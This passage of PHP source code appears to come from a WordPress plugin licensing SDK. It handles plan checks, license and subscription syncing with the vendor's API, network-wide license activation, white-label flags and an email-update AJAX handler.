! $this->is_trial() && 'free' !== $this->get_plan_name() && $this->has_active_valid_license() ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @return bool */ function is_free_plan() { if ( ! $this->is_registered() ) { return true; } if ( ! $this->has_paid_plan() ) { return true; } return ( 'free' === $this->get_plan_name() || ! $this->has_features_enabled_license() ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.5 * * @return bool */ function _has_premium_license() { $this->_logger->entrance(); $premium_license = $this->_get_available_premium_license(); return ( false !== $premium_license ); } /** * Check if user has any licenses associated with the plugin (including expired or blocking). * * @author Vova Feldman (@svovaf) * @since 1.1.7.3 * * @param bool $including_foreign * * @return bool */ function has_any_license( $including_foreign = true ) { if ( ! is_array( $this->_licenses ) || 0 === count( $this->_licenses ) ) { return false; } if ( $including_foreign ) { return true; } foreach ( $this->_licenses as $license ) { if ( $this->_user->id == $license->user_id ) { return true; } } return false; } /** * @author Vova Feldman (@svovaf) * @since 1.0.5 * * @param bool|null $is_localhost * * @return FS_Plugin_License|false */ function _get_available_premium_license( $is_localhost = null ) { $this->_logger->entrance(); $licenses = $this->get_available_premium_licenses( $is_localhost ); if ( ! empty( $licenses ) ) { return $licenses[0]; } return false; } /** * @author Vova Feldman (@svovaf) * @since 1.0.5 * * @param bool|null $is_localhost * * @return FS_Plugin_License[] */ function get_available_premium_licenses( $is_localhost = null ) { $this->_logger->entrance(); $licenses = array(); if ( ! $this->has_paid_plan() ) { return $licenses; } if ( is_array( $this->_licenses ) ) { foreach ( $this->_licenses as $license ) { if ( ! $license->can_activate( $is_localhost ) ) { continue; } $licenses[] = $license; } } return $licenses; } /** * Sync local plugin plans with remote server. * * IMPORTANT: If for some reason a site is associated with deleted plan, we'll preserve the plan's information and append it as the last plan. This means that if plan is deleted, the is_plan() method will ALWAYS return true for any given argument (it becomes the most inclusive plan). * * @author Vova Feldman (@svovaf) * @since 1.0.5 * * @return FS_Plugin_Plan[]|object */ function _sync_plans() { $plans = $this->_fetch_plugin_plans(); if ( $this->is_array_instanceof( $plans, 'FS_Plugin_Plan' ) ) { $plans_map = array(); foreach ( $plans as $plan ) { $plans_map[ $plan->id ] = true; } $plans_ids_to_keep = $this->get_plans_ids_associated_with_installs(); foreach ( $plans_ids_to_keep as $plan_id ) { if ( isset( $plans_map[ $plan_id ] ) ) { continue; } $missing_plan = self::_get_plan_by_id( $plan_id ); if ( is_object( $missing_plan ) ) { $plans[] = $missing_plan; } } $this->_plans = $plans; $this->_store_plans(); } $this->do_action( 'after_plans_sync', $plans ); return $this->_plans; } /** * Check if specified plan exists locally. If not, fetch it and store it. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param number $plan_id * * @return \FS_Plugin_Plan|object The plan entity or the API error object on failure. */ private function sync_plan_if_not_exist( $plan_id ) { $plan = self::_get_plan_by_id( $plan_id ); if ( is_object( $plan ) ) { // Plan already exists. return $plan; } $plan = $this->fetch_plan_by_id( $plan_id ); if ( $plan instanceof FS_Plugin_Plan ) { $this->_plans[] = $plan; $this->_store_plans(); return $plan; } return $plan; } /** * Check if specified license exists locally. If not, fetch it and store it. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param number $license_id * @param string $license_key * * @return \FS_Plugin_Plan|object The plan entity or the API error object on failure. */ private function sync_license_if_not_exist( $license_id, $license_key ) { $license = $this->_get_license_by_id( $license_id ); if ( is_object( $license ) ) { // License already exists. return $license; } $license = $this->fetch_license_by_key( $license_id, $license_key ); if ( $license instanceof FS_Plugin_License ) { $this->_licenses[] = $license; $this->set_license( $license ); $this->_store_licenses(); return $license; } return $license; } /** * Get a collection of unique plan IDs that are associated with any installs in the network. * * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @return number[] */ private function get_plans_ids_associated_with_installs() { if ( ! is_multisite() ) { if ( ! is_object( $this->_site ) || ! FS_Plugin_Plan::is_valid_id( $this->_site->plan_id ) ) { return array(); } return array( $this->_site->plan_id ); } $plan_ids = array(); $sites = self::get_sites(); foreach ( $sites as $site ) { $blog_id = self::get_site_blog_id( $site ); $install = $this->get_install_by_blog_id( $blog_id ); if ( ! is_object( $install ) || ! FS_Plugin_Plan::is_valid_id( $install->plan_id ) ) { continue; } $plan_ids[ $install->plan_id ] = true; } return array_keys( $plan_ids ); } /** * Get a collection of unique license IDs that are associated with any installs in the network. * * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @return number[] */ private function get_license_ids_associated_with_installs() { if ( ! $this->_is_network_active ) { if ( ! is_object( $this->_site ) || ! FS_Plugin_License::is_valid_id( $this->_site->license_id ) ) { return array(); } return array( $this->_site->license_id ); } $license_ids = array(); $sites = self::get_sites(); foreach ( $sites as $site ) { $blog_id = self::get_site_blog_id( $site ); $install = $this->get_install_by_blog_id( $blog_id ); if ( ! is_object( $install ) || ! FS_Plugin_License::is_valid_id( $install->license_id ) ) { continue; } $license_ids[ $install->license_id ] = true; } return array_keys( $license_ids ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.5 * * @param number $id * * @return FS_Plugin_Plan|false */ function _get_plan_by_id( $id ) { $this->_logger->entrance(); if ( ! is_array( $this->_plans ) || 0 === count( $this->_plans ) ) { $this->_sync_plans(); } foreach ( $this->_plans as $plan ) { if ( $id == $plan->id ) { return $plan; } } return false; } /** * @author Vova Feldman (@svovaf) * @since 1.1.8.1 * * @param string $name * * @return FS_Plugin_Plan|false */ private function get_plan_by_name( $name ) { $this->_logger->entrance(); if ( ! is_array( $this->_plans ) || 0 === count( $this->_plans ) ) { $this->_sync_plans(); } foreach ( $this->_plans as $plan ) { if ( $name == $plan->name ) { return $plan; } } return false; } /** * Sync local licenses with remote server. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param number|bool $site_license_id * @param number|null $blog_id * * @return FS_Plugin_License[]|object */ function _sync_licenses( $site_license_id = false, $blog_id = null ) { $this->_logger->entrance(); $is_network_admin = fs_is_network_admin(); if ( $is_network_admin && is_null( $blog_id ) ) { $all_licenses = self::get_all_licenses( $this->_module_id ); } else { $all_licenses = $this->get_user_licenses( $this->_user->id ); } $foreign_licenses = $this->get_foreign_licenses_info( $all_licenses, $site_license_id ); $all_licenses_map = array(); foreach ( $all_licenses as $license ) { $all_licenses_map[ $license->id ] = true; } $licenses = $this->_fetch_licenses( false, $site_license_id, $foreign_licenses, $blog_id ); if ( $this->is_array_instanceof( $licenses, 'FS_Plugin_License' ) ) { $licenses_map = array(); foreach ( $licenses as $license ) { $licenses_map[ $license->id ] = true; } // $license_ids_to_keep = $this->get_license_ids_associated_with_installs(); // foreach ( $license_ids_to_keep as $license_id ) { // if ( isset( $licenses_map[ $license_id ] ) ) { // continue; // } // // $missing_license = self::_get_license_by_id( $license_id, false ); // if ( is_object( $missing_license ) ) { // $licenses[] = $missing_license; // $licenses_map[ $missing_license->id ] = true; // } // } $user_license_ids = $this->get_user_linked_license_ids( $this->_user->id ); foreach ( $user_license_ids as $key => $license_id ) { if ( ! isset( $licenses_map[ $license_id ] ) ) { // Remove access to licenses that no longer exist. unset( $user_license_ids[ $key ] ); } } if ( ! empty( $user_license_ids ) ) { foreach ( $licenses_map as $license_id => $value ) { if ( ! isset( $all_licenses_map[ $license_id ] ) ) { // Associate new licenses with the user who triggered the license syncing. $user_license_ids[] = $license_id; } } $user_license_ids = array_unique( $user_license_ids ); } else { $user_license_ids = array_keys( $licenses_map ); } if ( ! $is_network_admin || ! is_null( $blog_id ) ) { $user_licenses = array(); foreach ( $licenses as $license ) { if ( ! in_array( $license->id, $user_license_ids ) ) { continue; } $user_licenses[] = $license; } $this->_licenses = $user_licenses; } else { $this->_licenses = $licenses; } $this->set_user_linked_license_ids( $this->_user->id, $user_license_ids ); $this->_store_licenses( true, $this->_module_id, $licenses ); } // Update current license. if ( is_object( $this->_license ) ) { $license = $this->_get_license_by_id( $this->_license->id ); if ( is_object( $license ) ) { /** * `$license` can be `false` in case a user change action has just been completed and this method * has synced the `$this->_licenses` collection for the new user. In this case, the * `$this->_licenses` collection may have only the newly activated license that is associated with * the new user. `set_license` will eventually be called in the same request by the logic that * follows outside this method which will detect that the install's license has been updated, and * then `_update_site_license` will be called which in turn will call `set_license`. * * @author Leo Fajardo (@leorw) * @since 2.3.2 */ $this->set_license( $license ); } } return $this->_licenses; } /** * @author Vova Feldman (@svovaf) * @since 1.0.5 * * @param number $id * @param bool $sync_licenses * * @return FS_Plugin_License|false */ function _get_license_by_id( $id, $sync_licenses = true ) { $this->_logger->entrance(); if ( ! FS_Plugin_License::is_valid_id( $id ) ) { return false; } /** * When running from the network level admin and opted-in from the network, * check if the license exists in the network user licenses collection. * * @author Vova Feldman (@svovaf) * @since 2.0.0 */ if ( fs_is_network_admin() && $this->is_network_registered() && ( ! is_object( $this->_user ) || $this->_storage->network_user_id != $this->_user->id ) ) { $licenses = $this->get_user_licenses( $this->_storage->network_user_id ); foreach ( $licenses as $license ) { if ( $id == $license->id ) { return $license; } } } if ( ! $this->has_any_license() && $sync_licenses ) { $this->_sync_licenses( $id ); } if ( is_array( $this->_licenses ) ) { foreach ( $this->_licenses as $license ) { if ( $id == $license->id ) { return $license; } } } return false; } /** * Get license by ID. Unlike _get_license_by_id(), this method only checks the local storage and return any license, whether it's associated with the current context user/install or not. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param number $id * * @return FS_Plugin_License */ private function get_license_by_id( $id ) { $licenses = self::get_all_licenses( $this->_module_id ); if ( is_array( $licenses ) && ! empty( $licenses ) ) { foreach ( $licenses as $license ) { if ( $id == $license->id ) { return $license; } } } return null; } /** * Synchronize the site's context license by fetching the license form the API and updating the local data with it. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return \FS_Plugin_License|mixed */ private function sync_site_license() { $api = $this->get_api_user_scope(); $result = $api->get( "/licenses/{$this->_license->id}.json?license_key=" . urlencode( $this->_license->secret_key ), true ); if ( ! $this->is_api_result_entity( $result ) ) { return $result; } $license = $this->_update_site_license( new FS_Plugin_License( $result ) ); $this->_store_licenses(); return $license; } /** * Get all user's available licenses for the current module. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param number $user_id * * @return FS_Plugin_License[] */ private function get_user_licenses( $user_id ) { $all_licenses = self::get_all_licenses( $this->_module_id ); if ( empty( $all_licenses ) ) { return array(); } $user_license_ids = $this->get_user_linked_license_ids( $user_id ); if ( empty( $user_license_ids ) ) { return array(); } $licenses = array(); foreach ( $all_licenses as $license ) { if ( in_array( $license->id, $user_license_ids ) ) { $licenses[] = $license; } } return $licenses; } /** * Checks if the context license is network activated except on the given blog ID. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int $except_blog_id * * @return bool */ private function is_license_network_active( $except_blog_id = 0 ) { $this->_logger->entrance(); if ( ! is_object( $this->_license ) ) { return false; } $sites = self::get_sites(); if ( $this->_license->total_activations() < ( count( $sites ) - 1 ) ) { // There are more sites than the number of activations, so license cannot be network activated. return false; } foreach ( $sites as $site ) { $blog_id = self::get_site_blog_id( $site ); if ( $except_blog_id == $blog_id ) { // Skip excluded blog. continue; } $install = $this->get_install_by_blog_id( $blog_id ); if ( is_object( $install ) && $install->license_id != $this->_license->id ) { return false; } } return true; } /** * Checks if license can be activated on all the network sites (opted-in or skipped) that are not yet associated with a license. If possible, try to make the activation, if not return false. * * Notice: On success, this method will also update the license activations counters (without updating the license in the storage). * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param \FS_User $user * @param \FS_Plugin_License $license * * @return bool */ private function try_activate_license_on_network( FS_User $user, FS_Plugin_License $license ) { $this->_logger->entrance(); $result = $this->can_activate_license_on_network( $license ); if ( false === $result ) { return false; } $installs_without_license = $result['installs']; if ( ! empty( $installs_without_license ) ) { $this->activate_license_on_many_installs( $user, $license->secret_key, $installs_without_license ); } $disconnected_site_ids = $result['sites']; if ( ! empty( $disconnected_site_ids ) ) { $this->activate_license_on_many_sites( $user, $license->secret_key, $disconnected_site_ids ); } $this->link_license_2_user( $license->id, $user->id ); // Sync license after activations. $license->activated += $result['production_count']; $license->activated_local += $result['localhost_count']; // $this->_store_licenses() return true; } /** * Checks if the given license can be activated on the whole network. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param \FS_Plugin_License $license * * @return false|array { * @type array[int]FS_Site $installs Blog ID to install map. * @type int[] $sites Non-connected blog IDs. * @type int $production_count Production sites count. * @type int $localhost_count Production sites count. * } */ private function can_activate_license_on_network( FS_Plugin_License $license ) { $sites = self::get_sites(); $production_count = 0; $localhost_count = 0; $installs_without_license = array(); $disconnected_site_ids = array(); foreach ( $sites as $site ) { $blog_id = self::get_site_blog_id( $site ); $install = $this->get_install_by_blog_id( $blog_id ); if ( is_object( $install ) ) { if ( FS_Plugin_License::is_valid_id( $install->license_id ) ) { // License already activated on the install. continue; } $url = $install->url; $installs_without_license[ $blog_id ] = $install; } else { $url = is_object( $site ) ? $site->siteurl : self::get_unfiltered_site_url( $blog_id ); $disconnected_site_ids[] = $blog_id; } if ( FS_Site::is_localhost_by_address( $url ) ) { $localhost_count ++; } else { $production_count ++; } } if ( ! $license->can_activate_bulk( $production_count, $localhost_count ) ) { return false; } return array( 'installs' => $installs_without_license, 'sites' => $disconnected_site_ids, 'production_count' => $production_count, 'localhost_count' => $localhost_count, ); } /** * Activate a given license on a collection of installs. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param \FS_User $user * @param string $license_key * @param array $blog_2_install_map { * @key int Blog ID. * @value FS_Site Blog's associated install. * } * * @return mixed|true */ private function activate_license_on_many_installs( FS_User $user, $license_key, array $blog_2_install_map ) { $params = array( array( 'license_key' => $this->apply_filters( 'license_key', $license_key ) ) ); $install_2_blog_map = array(); foreach ( $blog_2_install_map as $blog_id => $install ) { $params[] = array( 'id' => $install->id, 'url' => $install->url ); $install_2_blog_map[ $install->id ] = $blog_id; } $result = $this->get_api_user_scope_by_user( $user )->call( "plugins/{$this->_plugin->id}/installs.json", 'PUT', $params ); if ( ! $this->is_api_result_object( $result, 'installs' ) ) { return $result; } foreach ( $result->installs as $r_install ) { $install = new FS_Site( $r_install ); $install->is_disconnected = false; // Update install. $this->_store_site( true, $install_2_blog_map[ $r_install->id ], $install ); } return true; } /** * Activate a given license on a collection of blogs/sites that are not yet opted-in. * * @author Vova Feldman (@svovaf) * @since 2.3.1 * * @param \FS_User $user * @param string $license_key * * @return true|mixed True if successful, otherwise, the API result. */ private function activate_license_on_site( FS_User $user, $license_key ) { return $this->activate_license_on_many_sites( $user, $license_key ); } /** * Activate a given license on a collection of blogs/sites that are not yet opted-in. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param \FS_User $user * @param string $license_key * @param int[] $site_ids * * @return true|mixed True if successful, otherwise, the API result. */ private function activate_license_on_many_sites( FS_User $user, $license_key, array $site_ids = array() ) { $sites = array(); foreach ( $site_ids as $site_id ) { $sites[] = $this->get_site_info( array( 'blog_id' => $site_id ) ); } // Install the plugin. $result = $this->create_installs_with_user( $user, $license_key, false, $sites, false, true ); if ( ! $this->is_api_result_entity( $result ) && ! $this->is_api_result_object( $result, 'installs' ) ) { return $result; } $installs = array(); if ( $this->is_api_result_entity( $result ) ) { $install = new FS_Site( $result ); $this->_user = $user; $this->_store_site( true, null, $install ); $this->_site = $install; $this->reset_anonymous_mode(); } else { foreach ( $result->installs as $install ) { $installs[] = new FS_Site( $install ); } // Map site addresses to their blog IDs. $address_to_blog_map = $this->get_address_to_blog_map(); $first_blog_id = null; foreach ( $installs as $install ) { $address = trailingslashit( fs_strip_url_protocol( $install->url ) ); $blog_id = $address_to_blog_map[ $address ]; $this->_store_site( true, $blog_id, $install ); $this->reset_anonymous_mode( $blog_id ); if ( is_null( $first_blog_id ) ) { $first_blog_id = $blog_id; } } if ( ! FS_Site::is_valid_id( $this->_storage->network_install_blog_id ) ) { $this->_storage->network_install_blog_id = $first_blog_id; } } return true; } /** * Sync site's license with user licenses. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param FS_Plugin_License|null $new_license * * @return FS_Plugin_License|null */ function _update_site_license( $new_license ) { $this->_logger->entrance(); /** * In case this call will be removed in the future, the `_sync_licenses()` method needs to be updated * accordingly so that it will also handle the case when an ownership change is done via license * activation. * * @author Leo Fajardo (@leorw) * @since 2.3.2 */ $this->set_license( $new_license ); if ( ! is_object( $new_license ) ) { $this->_site->license_id = null; $this->_sync_site_subscription( null ); return $this->_license; } $this->_site->license_id = $this->_license->id; if ( ! is_array( $this->_licenses ) ) { $this->_licenses = array(); } $is_license_found = false; for ( $i = 0, $len = count( $this->_licenses ); $i < $len; $i ++ ) { if ( $new_license->id == $this->_licenses[ $i ]->id ) { $this->_licenses[ $i ] = $new_license; $is_license_found = true; break; } } // If new license just append. if ( ! $is_license_found ) { $this->_licenses[] = $new_license; } $this->_sync_site_subscription( $new_license ); return $this->_license; } /** * @author Vova Feldman (@svovaf) * @since 2.3.1 * * @param \FS_Plugin_License $license */ private function set_license( FS_Plugin_License $license = null ) { $this->_license = $license; $this->maybe_update_whitelabel_flag( $license ); } /** * @author Leo Fajardo (@leorw) * @since 2.3.1 * * @param FS_Plugin_License $license */ private function maybe_update_whitelabel_flag( $license ) { $is_whitelabeled = isset( $this->_storage->is_whitelabeled ) ? $this->_storage->is_whitelabeled : false; if ( is_object( $license ) ) { $license_user = self::_get_user_by_id( $license->user_id ); if ( ! is_object( $license_user ) ) { // If foreign license, do not update the `is_whitelabeled` flag. return; } if ( $this->is_addon() ) { /** * Store the last license data to the parent's storage since it's needed only when showing the * "Start Debug" dialog which is triggered from the "Account" page. This way, there's no need to * iterate over the add-ons just to get the last license data. */ $this->get_parent_instance()->store_last_activated_license_data( $license, $license_user ); } else { $this->store_last_activated_license_data( $license ); } if ( $license->is_whitelabeled ) { // Activated a developer license, data should be hidden. $is_whitelabeled = true; } else if ( $this->is_registered() && $this->_user->id == $license->user_id ) { // The account owner activated a regular license key, no need to hide the data. $is_whitelabeled = false; } } $this->_storage->is_whitelabeled = $is_whitelabeled; // Reset the whitelabeled status after update. $this->is_whitelabeled = null; if ( $this->is_addon() ) { $parent_fs = $this->get_parent_instance(); if ( is_object( $parent_fs ) ) { $parent_fs->is_whitelabeled = null; } } } /** * @author Leo Fajardo (@leorw) * @since 2.3.1 * * @param FS_Plugin_License $license * @param FS_User $license_user */ private function store_last_activated_license_data( FS_Plugin_License $license, $license_user = null ) { if ( ! is_object( $license_user ) ) { $this->_storage->last_license_key = md5( $license->secret_key ); $this->_storage->last_license_user_id = null; } else { $this->_storage->last_license_user_key = md5( $license_user->secret_key ); $this->_storage->last_license_user_id = $license_user->id; } } /** * @author Leo Fajardo (@leorw) * @since 2.3.1 * * @param bool $ignore_data_debug_mode * * @return bool */ function is_whitelabeled_by_flag( $ignore_data_debug_mode = false ) { if ( true !== $this->_storage->is_whitelabeled ) { return false; } else if ( $ignore_data_debug_mode ) { return true; } $fs = $this->is_addon() ? $this->get_parent_instance() : $this; return ! $fs->is_data_debug_mode(); } /** * @author Leo Fajardo (@leorw) * @since 2.3.1 * * @return number */ function get_last_license_user_id() { return ( FS_User::is_valid_id( $this->_storage->last_license_user_id ) ) ? $this->_storage->last_license_user_id : null; } /** * @author Leo Fajardo (@leorw) * @since 2.3.1 * * @param int $blog_id * @param bool $ignore_data_debug_mode * * @return bool */ function is_whitelabeled( $ignore_data_debug_mode = false, $blog_id = null ) { if ( ! is_null( $blog_id ) ) { $this->switch_to_blog( $blog_id ); } if ( ! is_null( $this->is_whitelabeled ) ) { $is_whitelabeled = $this->is_whitelabeled; } else { $is_whitelabeled = false; $is_whitelabeled_flag = $this->is_whitelabeled_by_flag( true ); if ( ! $this->has_addons() ) { $is_whitelabeled = $is_whitelabeled_flag; } else if ( $is_whitelabeled_flag ) { $is_whitelabeled = true; } else { if ( $this->is_registered() || $this->is_premium() ) { $addon_ids = $this->get_updated_account_addons(); } else { $addons = self::get_all_addons(); $plugin_addons = isset( $addons[ $this->_plugin->id ] ) ? $addons[ $this->_plugin->id ] : array(); $addon_ids = array(); foreach ( $plugin_addons as $addon ) { $addon_ids[] = $addon->id; } } $installed_addons = $this->get_installed_addons(); foreach ( $installed_addons as $fs_addon ) { $addon_ids[] = $fs_addon->get_id(); } if ( ! empty( $addon_ids ) ) { $addon_ids = array_unique( $addon_ids ); $is_network_level = ( fs_is_network_admin() && $this->is_network_active() ); foreach ( $addon_ids as $addon_id ) { $addon = $this->get_addon( $addon_id ); if ( ! is_object( $addon ) ) { continue; } $addon_storage = FS_Storage::instance( WP_FS__MODULE_TYPE_PLUGIN, $addon->slug ); $fs_addon = $this->is_addon_activated( $addon_id ) ? self::get_addon_instance( $addon_id ) : null; $was_addon_network_activated = false; if ( is_object( $fs_addon ) ) { $was_addon_network_activated = $fs_addon->is_network_active(); } else if ( $is_network_level ) { $was_addon_network_activated = $addon_storage->get( 'was_plugin_loaded', false, true ); } $network_delegated_connection = ( $was_addon_network_activated && $addon_storage->get( 'is_delegated_connection', false, true ) ); if ( $is_network_level && ( ! $was_addon_network_activated || $network_delegated_connection ) ) { $sites = self::get_sites(); /** * If in network admin area and the add-on was not network-activated or network-activated * and network-delegated, find any add-on whose is_whitelabeled flag is true. */ foreach ( $sites as $site ) { $site_info = $this->get_site_info( $site ); if ( $addon_storage->get( 'is_whitelabeled', false, $site_info['blog_id'] ) ) { $is_whitelabeled = true; break; } } if ( $is_whitelabeled ) { break; } } else { /** * This will be executed when any of the following is met: * 1. Add-on was network-activated, not network-delegated, and in network admin area. * 2. Add-on was network-activated, network-delegated, and in site admin area. * 3. Add-on was not network-activated and in site admin area. */ if ( true === $addon_storage->is_whitelabeled ) { $is_whitelabeled = true; break; } } } } } $this->is_whitelabeled = $is_whitelabeled; if ( ! $is_whitelabeled || ! $this->is_data_debug_mode() ) { $this->_admin_notices->remove_sticky( 'data_debug_mode_enabled' ); } if ( ! is_null( $blog_id ) ) { $this->restore_current_blog(); } } return ( $is_whitelabeled && ( $ignore_data_debug_mode || ! $this->is_data_debug_mode() ) ); } /** * Sync site's subscription. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param FS_Plugin_License|null $license * * @return bool|\FS_Subscription */ private function _sync_site_subscription( $license ) { if ( ! is_object( $license ) ) { $this->delete_unused_subscriptions(); return false; } // Load subscription details if not lifetime. $subscription = $license->is_lifetime() ? false : $this->_fetch_site_license_subscription(); if ( is_object( $subscription ) && ! isset( $subscription->error ) ) { $this->store_subscription( $subscription ); } else { $this->delete_unused_subscriptions(); } return $subscription; } /** * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @return bool|\FS_Plugin_License */ function _get_license() { if ( ! fs_is_network_admin() || is_object( $this->_license ) ) { return $this->_license; } return $this->_get_available_premium_license(); } /** * @param number $license_id * * @return null|\FS_Subscription */ function _get_subscription( $license_id ) { if ( ! isset( $this->_storage->subscriptions ) || empty( $this->_storage->subscriptions ) ) { return null; } foreach ( fs_get_entities( $this->_storage->subscriptions, FS_Subscription::get_class_name() ) as $subscription ) { if ( $subscription->license_id == $license_id ) { return $subscription; } } return null; } /** * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @param FS_Subscription $subscription */ function store_subscription( FS_Subscription $subscription ) { if ( ! isset( $this->_storage->subscriptions ) ) { $this->_storage->subscriptions = array(); } if ( empty( $this->_storage->subscriptions ) || ! is_multisite() ) { $this->_storage->subscriptions = array( $subscription ); return; } $subscriptions = fs_get_entities( $this->_storage->subscriptions, FS_Subscription::get_class_name() ); $updated_subscription = false; foreach ( $subscriptions as $key => $existing_subscription ) { if ( $existing_subscription->id == $subscription->id ) { $subscriptions[ $key ] = $subscription; $updated_subscription = true; break; } } if ( ! $updated_subscription ) { $subscriptions[] = $subscription; } $this->_storage->subscriptions = $subscriptions; } /** * @author Leo Fajardo (@leorw) * @since 2.0.0 */ function delete_unused_subscriptions() { if ( ! isset( $this->_storage->subscriptions ) || empty( $this->_storage->subscriptions ) || // Clean up only if there are already at least 3 subscriptions. ( count( $this->_storage->subscriptions ) < 3 ) ) { return; } if ( ! is_multisite() ) { // If not multisite, there should only be 1 subscription, so just clear the array. $this->_storage->subscriptions = array(); return; } $subscriptions_to_keep_by_license_id_map = array(); $sites = self::get_sites(); foreach ( $sites as $site ) { $blog_id = self::get_site_blog_id( $site ); $install = $this->get_install_by_blog_id( $blog_id ); if ( ! is_object( $install ) || ! FS_Plugin_License::is_valid_id( $install->license_id ) ) { continue; } $subscriptions_to_keep_by_license_id_map[ $install->license_id ] = true; } if ( empty( $subscriptions_to_keep_by_license_id_map ) ) { $this->_storage->subscriptions = array(); return; } foreach ( $this->_storage->subscriptions as $key => $subscription ) { if ( ! isset( $subscriptions_to_keep_by_license_id_map[ $subscription->license_id ] ) ) { unset( $this->_storage->subscriptions[ $key ] ); } } } /** * @author Vova Feldman (@svovaf) * @since 1.0.2 * * @param string $plan Plan name * @param bool $exact If true, looks for exact plan. If false, also check "higher" plans. * * @return bool */ function is_plan( $plan, $exact = false ) { $this->_logger->entrance(); if ( ! $this->is_registered() ) { return false; } $plan = strtolower( $plan ); $current_plan_name = $this->get_plan_name(); if ( $current_plan_name === $plan ) { // Exact plan. return true; } else if ( $exact ) { // Required exact, but plans are different. return false; } $current_plan_order = - 1; $required_plan_order = PHP_INT_MAX; for ( $i = 0, $len = count( $this->_plans ); $i < $len; $i ++ ) { if ( $plan === $this->_plans[ $i ]->name ) { $required_plan_order = $i; } else if ( $current_plan_name === $this->_plans[ $i ]->name ) { $current_plan_order = $i; } } return ( $current_plan_order > $required_plan_order ); } /** * Check if module has only one plan. * * @author Vova Feldman (@svovaf) * @since 1.2.1.7 * * @param bool $double_check In some cases developers prefer to release their paid offering as premium-only, even though there is a free version. For those cases, looking at the 'is_premium_only' value isn't enough because the result will return false even when the product has only signle paid plan. * * @return bool */ function is_single_plan( $double_check = false ) { $this->_logger->entrance(); if ( ! $this->is_registered() || ! is_array( $this->_plans ) || 0 === count( $this->_plans ) ) { return true; } $has_free_plan = $this->has_free_plan(); if ( ! $has_free_plan && $double_check ) { foreach ( $this->_plans as $plan ) { if ( $plan->is_free() ) { $has_free_plan = true; break; } } } return ( 1 === ( count( $this->_plans ) - ( $has_free_plan ? 1 : 0 ) ) ); } /** * Check if plan based on trial. If not in trial mode, should return false. * * @since 1.0.9 * * @param string $plan Plan name * @param bool $exact If true, looks for exact plan. If false, also check "higher" plans. * * @return bool */ function is_trial_plan( $plan, $exact = false ) { $this->_logger->entrance(); if ( ! $this->is_registered() ) { return false; } if ( ! $this->is_trial() ) { return false; } $trial_plan = $this->get_trial_plan(); if ( $trial_plan->name === $plan ) { // Exact plan. return true; } else if ( $exact ) { // Required exact, but plans are different. return false; } $current_plan_order = - 1; $required_plan_order = - 1; for ( $i = 0, $len = count( $this->_plans ); $i < $len; $i ++ ) { if ( $plan === $this->_plans[ $i ]->name ) { $required_plan_order = $i; } else if ( $trial_plan->name === $this->_plans[ $i ]->name ) { $current_plan_order = $i; } } return ( $current_plan_order > $required_plan_order ); } /** * Check if plugin has any paid plans. * * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @return bool */ function has_paid_plan() { return $this->_has_paid_plans || FS_Plan_Manager::instance()->has_paid_plan( $this->_plans ); } /** * Check if plugin has any plan with a trail. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool */ function has_trial_plan() { /** * @author Vova Feldman(@svovaf) * @since 1.2.1.5 * * Allow setting a trial from the SDK without calling the API. * But, if the user did opt-in, continue using the real data from the API. */ if ( $this->_trial_days >= 0 ) { return true; } return $this->_storage->get( 'has_trial_plan', false ); } /** * Check if plugin has any free plan, or is it premium only. * * Note: If no plans configured, assume plugin is free. * * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @return bool */ function has_free_plan() { return ! $this->is_only_premium(); } /** * Displays a license activation dialog box when the user clicks on the "Activate License" * or "Change License" link on the plugins * page. * * @author Leo Fajardo (@leorw) * @since 1.1.9 */ function _add_license_activation_dialog_box() { $vars = array( 'id' => $this->_module_id, ); fs_require_template( 'forms/license-activation.php', $vars ); fs_require_template( 'forms/resend-key.php', $vars ); } /** * Displays an email address update dialog box when the user clicks on the email address "Edit" button on the "Account" page. * * @author Leo Fajardo (@leorw) * @since 2.5.0 */ function _add_email_address_update_dialog_box() { $vars = array( 'id' => $this->_module_id ); fs_require_template( 'forms/email-address-update.php', $vars ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 */ function _add_email_address_update_option() { if ( ! $this->should_handle_user_change() ) { return; } // Add email address update AJAX handler. $this->add_ajax_action( 'update_email_address', array( &$this, '_email_address_update_ajax_handler' ) ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 */ function _email_address_update_ajax_handler() { $this->check_ajax_referer( 'update_email_address' ); $new_email_address = fs_request_get( 'email_address' ); $transfer_type = fs_request_get( 'transfer_type' ); $result = $this->update_email( $new_email_address ); if ( ! FS_Api::is_api_error( $result ) ) { self::shoot_ajax_success(); } $error = ''; if ( FS_Api::is_api_error_object( $result ) ) { switch ( $result->error->code ) { case 'user_exist': case 'account_verification_required': $error = array( 'code' => 'change_ownership', 'url' => $this->get_account_url( 'change_owner', array( 'state' => 'init', 'candidate_email' => $new_email_address, 'transfer_type' => $transfer_type, ) ), ); break; } } if ( empty( $error ) ) { $error = is_object( $result ) ? var_export( $result->error, true ) : $result; } self::shoot_ajax_failure( $error ); } /** * Returns a collection of IDs of installs that are associated with the context product and its add-ons, and activated with foreign licenses. * * @author Leo Fajardo (@leorw) * @since 2.3.2 * * @return number[] */ function get_installs_ids_with_foreign_licenses() { $installs = array(); if ( is_object( $this->_license ) && $this->_site->user_id != $this->_license->user_id ) { $installs[] = $this->_site->id; } /** * Also try to get foreign licenses for the context product's add-ons. */ 